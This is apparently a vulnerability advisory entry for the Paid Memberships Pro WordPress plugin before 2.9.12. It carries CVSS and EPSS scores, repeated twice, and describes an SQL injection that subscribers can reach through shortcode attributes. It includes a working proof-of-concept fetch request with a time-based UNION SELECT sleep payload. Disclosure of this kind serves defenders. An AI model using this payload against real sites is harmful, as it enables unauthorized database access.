8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.001 Low
EPSS
Percentile
16.8%
The plugin does not prevent subscribers from rendering shortcodes that concatenate attributes directly into an SQL query.
While logged in as a subscriber, send the following request: (await fetch(‘/wp-admin/admin-ajax.php’,{method:‘POST’, headers: {‘Content-Type’: ‘application/x-www-form-urlencoded’},body:‘action=parse-media-shortcode&shortcode;=[membership delay=“Y” levels=“(-1)) UNION SELECT sleep(10)-- ,L”]’})).text() If successful, the request should hang for ~10 seconds, indicating we successfully injected something in the affected SQL query.
CPE | Name | Operator | Version |
---|---|---|---|
paid-memberships-pro | lt | 2.9.12 |
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.001 Low
EPSS
Percentile
16.8%